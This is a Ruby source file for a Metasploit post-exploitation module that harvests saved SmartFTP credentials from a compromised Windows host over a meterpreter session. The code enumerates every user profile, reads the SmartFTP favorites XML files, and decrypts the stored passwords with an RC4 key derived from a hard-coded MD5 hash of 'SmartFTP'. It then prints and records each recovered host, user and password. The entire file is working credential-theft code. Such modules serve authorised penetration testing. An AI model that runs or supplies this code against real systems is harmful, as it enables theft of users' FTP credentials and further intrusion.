## # $Id:$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' require 'rexml/document' class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather SmartFTP Saved Password Extraction', 'Description' => %q{ This module finds saved login credentials for the SmartFTP FTP client for windows. It finds the saved passwords and decrypts them.}, 'License' => MSF_LICENSE, 'Author' => [ 'TheLightCosine '], 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] )) end def run os = session.sys.config.sysinfo['OS'] drive = session.fs.file.expand_path("%SystemDrive%") @xmlfiles=[] if os =~ /Windows 7|Vista|2008/ @favpath = 'AppData\\Roaming\\\\SmartFTP\\Client 2.0\\Favorites' @users = drive + '\\Users' else @favpath = 'Application Data\\SmartFTP\\Client 2.0\\Favorites' @users = drive + '\\Documents and Settings' end get_users @userpaths.each do |path| enum_subdirs(path) end @xmlfiles.each do |file| get_xml(file) end end def enum_subdirs(path) begin session.fs.dir.foreach(path) do |sub| next if sub =~ /^(\.|\.\.|Predefined Favorites)$/ xmlpath= "#{path}\\#{sub}" if sub=~/\.xml$/ #print_status(xmlpath) @xmlfiles<< xmlpath else enum_subdirs(xmlpath) end end rescue end end def get_users @userpaths=[] session.fs.dir.foreach(@users) do |path| next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ @userpaths << "#{@users}\\#{path}\\#{@favpath}" end end def decrypt(password) cipher =[password].pack("H*") ms_enhanced_prov="Microsoft Enhanced Cryptographic Provider v1.0" prov_rsa_full=1 crypt_verify_context= 0xF0000000 alg_md5 = 32771 alg_rc4 = 26625 acquirecontext= client.railgun.advapi32.CryptAcquireContextW(4,nil,ms_enhanced_prov,prov_rsa_full,crypt_verify_context) createhash = client.railgun.advapi32.CryptCreateHash(acquirecontext['phProv'],alg_md5,0,0,4) hashdata = client.railgun.advapi32.CryptHashData(createhash['phHash'],"SmartFTP",16,0) derivekey = client.railgun.advapi32.CryptDeriveKey(acquirecontext['phProv'],alg_rc4,createhash['phHash'], 0x00800000, 4) decrypt = client.railgun.advapi32.CryptDecrypt(derivekey['phKey'],0,true,0,cipher,cipher.length) destroyhash= client.railgun.advapi32.CryptDestroyHash(createhash['phHash']) destroykey = client.railgun.advapi32.CryptDestroyKey(derivekey['phKey']) releasecontext = client.railgun.advapi32.CryptReleaseContext(acquirecontext['phProv'],0) data= decrypt['pbData'] return data end def get_xml(path) condata="" begin xmlexists = client.fs.file.stat(path) connections = client.fs.file.new(path,'r') until connections.eof condata << connections.read end parse_xml(condata) print_status("Finished processing #{path}") rescue print_status("The file #{path} either could not be read or does not exist") end end def parse_xml(data) mxml= REXML::Document.new(data).root mxml.elements.to_a("//FavoriteItem").each do |node| host = node.elements['Host'].text port = node.elements['Port'].text user = node.elements['User'].text epassword= node.elements['Password'].text next if epassword == nil or epassword== "" pass=decrypt(epassword) print_good("HOST: #{host} PORT: #{port} USER: #{user} PASS: #{pass}") report_auth_info( :host => host, :port => port, :user => user, :pass => pass ) end end end